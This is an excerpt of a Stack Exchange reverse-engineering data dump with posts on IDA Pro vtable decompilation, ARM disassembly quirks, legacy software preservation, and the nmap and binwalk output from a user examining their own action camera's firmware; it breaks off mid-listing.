  <row Id="13034" PostTypeId="1" CreationDate="2016-07-14T04:34:52.340" Score="5" ViewCount="1890" Body="&lt;p&gt;I'm reversing an old DirectDraw game that uses DirectX 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;code&gt;LPDIRECTDRAWSURFACE7 g_lpDDSBack&lt;/code&gt; and &lt;code&gt;g_lpDDSBack-&amp;gt;BltFast&lt;/code&gt; is being called but this is how it is decompiled in HexRays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*(int (__stdcall **)(struct IDirectDrawSurface7Vtbl *, int, int, LPDIRECTDRAWSURFACE7, RECT *, MACRO_DDBLTFAST))((int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))g_lpDDSBack-&amp;gt;QueryInterface + 7))(&#xA;                                      g_lpDDSBack,&#xA;                                      x,&#xA;                                      y,&#xA;                                      pgf2-&amp;gt;lpDDSrcSurface,&#xA;                                      &amp;amp;pgf2-&amp;gt;rect,&#xA;                                      DDBLTFAST_SRCCOLORKEY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For reference, here is the interface:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECLARE_INTERFACE_( IDirectDrawSurface7, IUnknown )&#xA;{&#xA;    /*** IUnknown methods ***/&#xA;    STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID FAR * ppvObj) PURE; // 0&#xA;    STDMETHOD_(ULONG,AddRef) (THIS)  PURE; // 1&#xA;    STDMETHOD_(ULONG,Release) (THIS) PURE; // 2&#xA;    /*** IDirectDrawSurface methods ***/&#xA;    STDMETHOD(AddAttachedSurface)(THIS_ LPDIRECTDRAWSURFACE7) PURE; // 3&#xA;    STDMETHOD(AddOverlayDirtyRect)(THIS_ LPRECT) PURE; // 4&#xA;    STDMETHOD(Blt)(THIS_ LPRECT,LPDIRECTDRAWSURFACE7, LPRECT,DWORD, LPDDBLTFX) PURE; // 5&#xA;    STDMETHOD(BltBatch)(THIS_ LPDDBLTBATCH, DWORD, DWORD ) PURE; // 6&#xA;    STDMETHOD(BltFast)(THIS_ DWORD,DWORD,LPDIRECTDRAWSURFACE7, LPRECT,DWORD) PURE; // 7&#xA;    // etc ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So from the HexRays code &lt;code&gt;g_lpDDSBack-&amp;gt;QueryInterface + 7&lt;/code&gt;, we can see it's calling &lt;code&gt;g_lpDDSBack-&amp;gt;BltFast&lt;/code&gt;. But why doesn't HexRays directly call &lt;code&gt;BltFast&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="16729" LastActivityDate="2016-07-14T19:44:58.043" Title="How to get IDA Pro to understand a virtual function table?" Tags="|ida|c|hexrays|vtables|virtual-functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13036" PostTypeId="2" ParentId="13034" CreationDate="2016-07-14T06:43:56.520" Score="2" Body="&lt;p&gt;HexRays doesn't call it because it doesn't know what is the value of &lt;code&gt;g_lpDDSBack-&amp;gt;QueryInterface&lt;/code&gt; in the common case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking you can define a structure as a &lt;code&gt;QueryInterface&lt;/code&gt; type, where members of this structure are named according to the related function names and than you'll see the call as &lt;code&gt;g_lpDDSBack-&amp;gt;QueryInterface-&amp;gt;BltFast&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-07-14T06:43:56.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13037" PostTypeId="1" AcceptedAnswerId="13043" CreationDate="2016-07-14T19:23:38.107" Score="1" ViewCount="396" Body="&lt;p&gt;I have been tracing through my binary and converting it to C code so I can understand it easily. As I am going through the instructions and functions, I keep stumbling upon code that don't make sense. &#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:080004B8                 CMNNE.W         R4, #1&#xA;ROM:080004BC                 BEQ.W           loc_80007DE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will never branch.&#xA;Another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STRB.W          R0, [SP,#0x18+var_18] @ where var_18 is -0x18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is similar to indexing an array in C like this &quot;array[5-5]&quot;. Why is this happening? Is this the disassembler? A form of obfuscated code that is trying to frustrate me? A poor compiler? &lt;/p&gt;&#xA;" OwnerUserId="16654" LastEditorUserId="16654" LastEditDate="2016-07-15T13:50:52.050" LastActivityDate="2016-07-15T13:55:38.793" Title="Nonsensical disassembled ARM instructions" Tags="|ida|arm|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13038" PostTypeId="2" ParentId="13034" CreationDate="2016-07-14T19:44:58.043" Score="0" Body="&lt;p&gt;It turned out to be a bug in IDA pro. I can't seem to edit my original question so first, I want to point out an error I made in the original question.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;g_lpDDSBack&lt;/code&gt; is defined as &lt;code&gt;struct IDirectDrawSurface7Vtbl *g_lpDDSBack;&lt;/code&gt;, then this was the output HexRays was showing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*(int (__stdcall **)(struct IDirectDrawSurface7Vtbl *, int, int, LPDIRECTDRAWSURFACE7, RECT *, MACRO_DDBLTFAST))((int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))g_lpDDSBack-&amp;gt;QueryInterface + 7))(&#xA;                                      g_lpDDSBack,&#xA;                                      x,&#xA;                                      y,&#xA;                                      pgf2-&amp;gt;lpDDSrcSurface,&#xA;                                      &amp;amp;pgf2-&amp;gt;rect,&#xA;                                      DDBLTFAST_SRCCOLORKEY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;g_lpDDSBack&lt;/code&gt; is defined as &lt;code&gt;LPDIRECTDRAWSURFACE7 g_lpDDSBack;&lt;/code&gt;, then this was the output HexRays was showing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(*((int (__stdcall **)(int, int, int, _DWORD, int, signed int))g_lpDDSBack-&amp;gt;lpVtbl + 7))(&#xA;                       g_lpDDSBack,&#xA;                       x,&#xA;                       y,&#xA;                       pgf2-&amp;gt;lpDDSrcSurface,&#xA;                       &amp;amp;pgf2-&amp;gt;rect,&#xA;                       DDBLTFAST_SRCCOLORKEY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alright, now here are the instructions to fixing the bug (&lt;code&gt;g_lpDDSBack&lt;/code&gt; is defined as &lt;code&gt;LPDIRECTDRAWSURFACE7 g_lpDDSBack;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select &lt;code&gt;lpVtbl&lt;/code&gt; in &lt;code&gt;g_lpDDSBack-&amp;gt;lpVtbl&lt;/code&gt;, press y and then copy the contents of the textbox to a notepad. In this case, the contents were &lt;code&gt;struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *lpVtbl&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change the type to &lt;code&gt;int lpVtbl&lt;/code&gt; and press OK&lt;/li&gt;&#xA;&lt;li&gt;Press y again on &lt;code&gt;lpVtbl&lt;/code&gt; and change the type back to its original type stored in notepad. In this case, it is &lt;code&gt;struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *lpVtbl&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After doing this, this is how it looks like in HexRays (you might have to press F5 first):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g_lpDDSBack-&amp;gt;lpVtbl-&amp;gt;BltFast(g_lpDDSBack,&#xA;                                      x,&#xA;                                      y,&#xA;                                      pgf2-&amp;gt;lpDDSrcSurface,&#xA;                                      &amp;amp;pgf2-&amp;gt;rect,&#xA;                                      DDBLTFAST_SRCCOLORKEY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16738" LastActivityDate="2016-07-14T19:44:58.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13039" PostTypeId="1" CreationDate="2016-07-14T21:37:20.377" Score="0" ViewCount="184" Body="&lt;p&gt;first of all I am not a programmer. It's just not what I am good at. I have an old windows3.1 tts engine called Keynote Gold multimedia application that I would like to decompile and make work on a modern computer system and also on android. If I send someone the dll files could you take a look and see if it can be done, please? &lt;/p&gt;&#xA;" OwnerUserId="16739" LastActivityDate="2016-07-16T19:01:06.987" Title="reverse-engineering to preserve old software" Tags="|windows|" AnswerCount="2" CommentCount="0" ClosedDate="2016-07-22T16:55:10.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="13040" PostTypeId="2" ParentId="13039" CreationDate="2016-07-14T22:55:11.953" Score="2" Body="&lt;p&gt;&lt;em&gt;Edited because I misunderstood what kind of software you were talking about.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to, just run it in a virtual machine such as QEMU, DOSBox or Virtualbox. QEMU probably the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Porting Windows software the way you're suggesting is generally too painful to be realistic, and virtualization provides almost perfect results with little effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is just a DLL it might be more realistic than a full software package, depending on how complex the code is. Still a lot of work, and if you want it to run on Android you still have to emulate it somehow. Payoff/work ratio very low imho.&lt;/p&gt;&#xA;" OwnerUserId="16716" LastEditorUserId="16716" LastEditDate="2016-07-15T08:11:21.813" LastActivityDate="2016-07-15T08:11:21.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13041" PostTypeId="1" CreationDate="2016-07-15T12:14:04.580" Score="0" ViewCount="2808" Body="&lt;p&gt;I have two .exe files and one of them was debugged by someone, i want to compare it with the original one and find the codes that was changed, is it possible to do that ? If it's, how can i do it ?&#xA;( i mean just the changed codes only )&lt;/p&gt;&#xA;" OwnerUserId="16742" LastEditorUserId="16742" LastEditDate="2016-07-15T14:00:49.137" LastActivityDate="2016-07-16T04:37:44.293" Title="Is it possible to find the changes of the debugged .exe file ollydbg?" Tags="|ollydbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13042" PostTypeId="2" ParentId="1636" CreationDate="2016-07-15T12:43:59.353" Score="0" Body="&lt;p&gt;Hi，the most important reason is: debugging / reversing is quite abstruse and difficult, when you see a full screen assembly codes, and then suddently, they carsh/ fatals / freeze ... You just have no any idea to go on. So you have to search the answer in Internet, but most informations are all about Ollydbg 1.1, and there are lots of plugins to help you resolve the problem, enen though you don't know any secret inside the plugin or else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, would you take your advantage to try the v2.0, face to helpless situation lonely ?&lt;/p&gt;&#xA;" OwnerUserId="16743" LastActivityDate="2016-07-15T12:43:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13043" PostTypeId="2" ParentId="13037" CreationDate="2016-07-15T13:55:38.793" Score="3" Body="&lt;p&gt;To expand on Rad Lexus' comment, which describes the situation very well but may not be understandable without an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a function, the stack pointer, in most cases, isn't constant. It may change when parameters for a function/method/subroutine are pushed, when the programmer uses things like &lt;code&gt;alloca&lt;/code&gt;, and for other reasons as well, depending on the compiler and processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes tracking the position of arguments and local variables quite hard. For example, code like &lt;code&gt;f(i++)&lt;/code&gt; may result in something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r0, [sp, #8]     ; read the variable&#xA;mov [sp], r0          ; put it on the argument stack&#xA;sub sp, sp, #4        ; adjust the stack pointer&#xA;add r0, r0, #1        ; calculate the ++&#xA;mov [sp, #12], r0    ; write back result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is a version that makes the change to &lt;code&gt;sp&lt;/code&gt; visible; normally, that change will be hidden in something like &lt;code&gt;stmfd sp!, {r0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such cases, it's quite difficult to see that the &quot;read&quot; and &quot;write&quot; operations access the same address in memory while the &lt;code&gt;sp&lt;/code&gt; value has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why decompilers like IDA assign names to those locations - as an example, let's assume in my example the variable is named &lt;code&gt;var_4&lt;/code&gt; with a value of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now IDA can emit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r0, [sp, var_4+#4]     ; read the variable&#xA;mov [sp, var_4+#8], r0     ; write back result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;var_4&lt;/code&gt; hinting at &quot;the same variable&quot;, and the &lt;code&gt;#4&lt;/code&gt;/&lt;code&gt;#8&lt;/code&gt; at the offset from &lt;code&gt;[sp]&lt;/code&gt; that needs to be added to &lt;code&gt;var_4&lt;/code&gt; in each of these cases.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-15T13:55:38.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13044" PostTypeId="2" ParentId="11876" CreationDate="2016-07-15T16:23:49.517" Score="0" Body="&lt;p&gt;I have come across this question for the same issue on a different use case: debugging an ELF binary through &lt;code&gt;qemu-arm&lt;/code&gt;, trying to call code from the attached process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could give &lt;code&gt;gdb&lt;/code&gt; the information it missed, designating the target binary file as a symbol file (using the &lt;code&gt;symbol-file&lt;/code&gt; command).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Files.html&quot; rel=&quot;nofollow&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Files.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it might be more complicated in your case. Linking a binary file using the live in-device addresses might do the trick, although it may not be trivial.&lt;/p&gt;&#xA;" OwnerUserId="16744" LastEditorUserId="16744" LastEditDate="2016-07-15T16:30:54.493" LastActivityDate="2016-07-15T16:30:54.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13045" PostTypeId="1" CreationDate="2016-07-16T02:19:37.643" Score="1" ViewCount="1708" Body="&lt;p&gt;I have an ActiveON LX action camera i.e. a GoPro ersatz. It comes with an Android app to control it, and it does so by running its own WiFi AP for the phone to connect. Once the phone connects, it commands the camera over HTTP using a variety of endpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses an Ambarella SoC with running buildroot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I port scanned the camera: it has a telnet server running on tcp/23 and a webserver (Cherokee) on tcp/80. It also has some kind of Java RPC server on tcp/7878 but I don't know much about Java or how to use it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nmap -A -T4 192.168.42.1 -p 1-65535&#xA;&#xA;Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-15 22:02 EDT&#xA;mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers&#xA;mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers&#xA;stty: stdin isn't a terminal&#xA;stty: stdin isn't a terminal&#xA;Nmap scan report for 192.168.42.1&#xA;Host is up (0.0041s latency).&#xA;Not shown: 65530 closed ports&#xA;PORT     STATE SERVICE    VERSION&#xA;23/tcp   open  telnet     BusyBox telnetd&#xA;53/tcp   open  domain     dnsmasq 2.59&#xA;| dns-nsid:&#xA;|_  bind.version: dnsmasq-2.59&#xA;80/tcp   open  http       Cherokee httpd 1.2.101b141103_&#xA;|_http-server-header: Cherokee/1.2.101b141103_ (UNIX)&#xA;|_http-title: Site doesn't have a title (text/html; charset=utf-8).&#xA;7877/tcp open  tcpwrapped&#xA;7878/tcp open  unknown&#xA;Service Info: Host: buildroot; OS: Unix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get into it via the telnet server but I don't know the user/password. They changed the default root password, using &lt;code&gt;root&lt;/code&gt; with a blank password doesn't let me in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping the Android app would make use of the telnet connection so I sniffed the traffic between the app and the camera but it's all HTTP only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought I would poke around the firmware updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at these two binaries: &lt;a href=&quot;http://www.activeon.com/wp/adm_product/firmware_file/lx/V3.2.0/R2_v320_150212.UGF&quot; rel=&quot;nofollow&quot;&gt;http://www.activeon.com/wp/adm_product/firmware_file/lx/V3.2.0/R2_v320_150212.UGF&lt;/a&gt; and &lt;a href=&quot;http://www.activeon.com/wp/wp-content/uploads/2014/12/LX_v3.15.UGF&quot; rel=&quot;nofollow&quot;&gt;http://www.activeon.com/wp/wp-content/uploads/2014/12/LX_v3.15.UGF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both files have the exact same length of 45,281,280 bytes but different contents (verified with &lt;code&gt;sha1sum&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binwalk seems to think there are lots of files in these firmware updates (unless I'm mis-reading the output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk /Downloads/R2_v320_150212.UGF&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;121908        0x1DC34         CRC32 polynomial table, little endian&#xA;127773        0x1F31D         Copyright string: &quot;Copyright (C) 2004-2007&quot;&#xA;1223000       0x12A958        CRC32 polynomial table, little endian&#xA;1271084       0x13652C        Copyright string: &quot;Copyright (C) 2004-2007&quot;&#xA;1273818       0x136FDA        Unix path: /../../sv/a5s/image/ambhal.bin&quot;&#xA;1273861       0x137005        Unix path: /../../sv/a5s/image/ambhal.info&quot;&#xA;1274105       0x1370F9        Unix path: /../../../boss_sdk/output.oem/images/Image&quot;&#xA;1274166       0x137136        Unix path: /../../src/linuxinfo/kernel.info&quot;&#xA;1274419       0x137233        Unix path: /../../gui/boss_dv/romfs/a5s_ft_parallel.romfs&quot;&#xA;1274480       0x137270        Unix path: /../../gui/boss_dv/romfs/romfs.info&quot;&#xA;1274813       0x1373BD        Unix path: /../../../boss_sdk/output.oem/images/rootfs.ubi&quot;&#xA;1274873       0x1373F9        Unix path: /../../src/linuxinfo/ubifs.info&quot;&#xA;1274960       0x137450        Unix path: /../../src/linuxinfo/ambernation.img&quot;&#xA;1275009       0x137481        Unix path: /../../src/linuxinfo/ambernation.info&quot;&#xA;1307492       0x13F364        Unix path: /usr/local/share/script/wowlan.sh&#xA;2218252       0x21D90C        Unix path: /usr/local/share/script/wifi_start.sh&#xA;2323638       0x2374B6        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/AAC_DEC/ARM_9&#xA;2326438       0x237FA6        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/ADPCM_DEC/ARM_9&#xA;2326806       0x238116        Unix path: /ambtwsvn2/svn/audio/trunk/CAVLC/ARM_11&#xA;2644236       0x28590C        LZMA compressed data, properties: 0x64, dictionary size: 33554432 bytes, uncompressed size: 512 bytes&#xA;3574898       0x368C72        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/AAC_ENC/ARM_9&#xA;3577214       0x36957E        Unix path: /ambtwsvn2/svn/audio/trunk/audio2/ADPCM_ENC/ARM_9&#xA;4148260       0x3F4C24        Neighborly text, &quot;neighbor point left:ing calibration map...&quot;&#xA;4148284       0x3F4C3C        Neighborly text, &quot;neighbor point right:&quot;&#xA;4398826       0x431EEA        Executable script, shebang: &quot;/bin/sh' &amp;gt; /tmp/ap_start.sh&quot;&#xA;4399322       0x4320DA        Unix path: /usr/local/share/script/load.sh' &amp;gt;&amp;gt; /tmp/ap_start.sh&#xA;4399714       0x432262        Executable script, shebang: &quot;/bin/sh' &amp;gt; /tmp/ap_stop.sh&quot;&#xA;4536526       0x4538CE        Unix path: /ambtwsvn2/svn/audio/trunk/CAVLD/ARM_11&#xA;5391847       0x5245E7        Unix path: /a/s/d/i]=%d/%d/%d/%d/%d&#xA;5460823       0x535357        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes&#xA;5460975       0x5353EF        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes&#xA;5461035       0x53542B        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes&#xA;5461095       0x535467        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 131072 bytes&#xA;5699789       0x56F8CD        LZMA compressed data, properties: 0x88, dictionary size: 65536 bytes, uncompressed size: 196608 bytes&#xA;5708635       0x571B5B        LZMA compressed data, properties: 0xC0, dictionary size: 16777216 bytes, uncompressed size: 256 bytes&#xA;6431706       0x6223DA        LZMA compressed data, properties: 0xB8, dictionary size: 16777216 bytes, uncompressed size: 62464 bytes&#xA;6431754       0x62240A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 59904 bytes&#xA;6431802       0x62243A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 58880 bytes&#xA;6431850       0x62246A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 56320 bytes&#xA;6431898       0x62249A        LZMA compressed data, properties: 0xB8, dictionary size: 33554432 bytes, uncompressed size: 56320 bytes&#xA;6461019       0x62965B        LZMA compressed data, properties: 0xC0, dictionary size: 65536 bytes, uncompressed size: 200 bytes&#xA;6513410       0x636302        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 65538 bytes&#xA;6564456       0x642A68        YAFFS filesystem&#xA;6697660       0x6632BC        ASCII cpio archive (SVR4 with no CRC), file name: &quot;dev&quot;, file name length: &quot;0x00000004&quot;, file size: &quot;0x00000000&quot;&#xA;6697776       0x663330        ASCII cpio archive (SVR4 with no CRC), file name: &quot;dev/console&quot;, file name length: &quot;0x0000000C&quot;, file size: &quot;0x00000000&quot;&#xA;6697900       0x6633AC        ASCII cpio archive (SVR4 with no CRC), file name: &quot;root&quot;, file name length: &quot;0x00000005&quot;, file size: &quot;0x00000000&quot;&#xA;6698016       0x663420        ASCII cpio archive (SVR4 with no CRC), file name: &quot;TRAILER!!!&quot;, file name length: &quot;0x0000000B&quot;, file size: &quot;0x00000000&quot;&#xA;8732501       0x853F55        Certificate in DER format (x509 v3), header length: 4, sequence length: 1284&#xA;10055769      0x997059        Certificate in DER format (x509 v3), header length: 4, sequence length: 1328&#xA;10055773      0x99705D        Certificate in DER format (x509 v3), header length: 4, sequence length: 1292&#xA;10055777      0x997061        Certificate in DER format (x509 v3), header length: 4, sequence length: 1312&#xA;10209925      0x9BCA85        Certificate in DER format (x509 v3), header length: 4, sequence length: 1464&#xA;10379388      0x9E607C        Linux kernel version &quot;2.6.38.8 (kjp@ntek-linux-server) (gcc version 4.4.1 (Sourcery G++ Lite 2009q3-67) ) #1 PREEMPT Mon Nov 3 21:17:07 KST 2014&quot;&#xA;10409076      0x9ED474        gzip compressed data, maximum compression, from Unix, last modified: 2014-11-03 12:16:24&#xA;10506132      0xA04F94        LZO compressed data&#xA;10512276      0xA06794        CRC32 polynomial table, little endian&#xA;10525445      0xA09B05        LZMA compressed data, properties: 0x65, dictionary size: 8388608 bytes, uncompressed size: 1048576 bytes&#xA;10948832      0xA710E0        Unix path: /arm/plat-ambarella/boss/../generic/adc.c&#xA;10950128      0xA715F0        Unix path: /arm/plat-ambarella/boss/../generic/gpio.c&#xA;10950456      0xA71738        Unix path: /arm/plat-ambarella/boss/init.c&#xA;10951032      0xA71978        Unix path: /arm/plat-ambarella/boss/irq.c&#xA;10952360      0xA71EA8        Unix path: /arm/plat-ambarella/boss/pm.c&#xA;10953952      0xA724E0        Unix path: /arm/plat-ambarella/boss/../generic/rct/a5s.c&#xA;10954212      0xA725E4        Unix path: /arm/plat-ambarella/boss/../generic/rtc.c&#xA;10954344      0xA72668        Unix path: /arm/plat-ambarella/boss/../generic/sd.c&#xA;10954600      0xA72768        Unix path: /arm/plat-ambarella/boss/boss.c&#xA;10954944      0xA728C0        Unix path: /arm/plat-ambarella/misc/ambfb.c&#xA;10955756      0xA72BEC        Unix path: /arm/plat-ambarella/misc/atag.c&#xA;11032304      0xA856F0        Unix path: /proc/fs/cifs/SecurityFlags&#xA;11032717      0xA8588D        Unix path: /proc/fs/cifs/SecurityFlags.&#xA;11040658      0xA87792        Unix path: /proc/fs/cifs/LookupCacheEnabled to 0&#xA;11100704      0xA96220        xz compressed data&#xA;11168736      0xAA6BE0        Unix path: /arm/plat-ambarella/include/mach/io.h&#xA;12475632      0xBE5CF0        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: MD5 hash&#xA;13826304      0xD2F900        JPEG image data, JFIF standard 1.01&#xA;13871360      0xD3A900        JPEG image data, JFIF standard 1.01&#xA;13885696      0xD3E100        JPEG image data, JFIF standard 1.02&#xA;13889792      0xD3F100        JPEG image data, JFIF standard 1.02&#xA;13891840      0xD3F900        JPEG image data, JFIF standard 1.02&#xA;14108844      0xD748AC        Certificate in DER format (x509 v3), header length: 4, sequence length: 576&#xA;14109424      0xD74AF0        Certificate in DER format (x509 v3), header length: 4, sequence length: 704&#xA;14110132      0xD74DB4        Certificate in DER format (x509 v3), header length: 4, sequence length: 717&#xA;14110853      0xD75085        Certificate in DER format (x509 v3), header length: 4, sequence length: 2228&#xA;14111022      0xD7512E        Digi International firmware, load address: 0x204D6963, entry point: 0x66742053,&#xA;14112181      0xD755B5        Copyright string: &quot;Copyright (c)1996 VeriSign, Inc.  All Rights Reserved. CERTAIN&quot;&#xA;15629693      0xEE7D7D        MySQL MISAM compressed data file Version 5&#xA;15629905      0xEE7E51        MySQL MISAM compressed data file Version 9&#xA;15650089      0xEECD29        MySQL MISAM compressed data file Version 4&#xA;15696517      0xEF8285        MySQL MISAM compressed data file Version 4&#xA;15696541      0xEF829D        MySQL MISAM compressed data file Version 4&#xA;15696597      0xEF82D5        MySQL MISAM compressed data file Version 4&#xA;16615436      0xFD880C        LZMA compressed data, properties: 0x9A, dictionary size: 262144 bytes, uncompressed size: 299111512 bytes&#xA;17325931      0x1085F6B       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17326177      0x1086061       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17331807      0x108765F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17332115      0x1087793       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17332605      0x108797D       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17333091      0x1087B63       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_vout.c:%d failed.&#xA;17333728      0x1087DE0       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.&#xA;17334022      0x1087F06       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.&#xA;17343657      0x108A4A9       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_display.c:%d failed.&#xA;17343817      0x108A549       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17344031      0x108A61F       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17345518      0x108ABEE       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17345965      0x108ADAD       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17346442      0x108AF8A       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17346547      0x108AFF3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17346825      0x108B109       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17347072      0x108B200       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_cabac.c:%d failed.&#xA;17347811      0x108B4E3       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17348053      0x108B5D5       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17348232      0x108B688       Unix path: /ucode/ypchangs/a5s/formal/ucode/source/dec/orccode/hdec_sched.c:%d failed.&#xA;17350016      0x108BD80       Unix path: 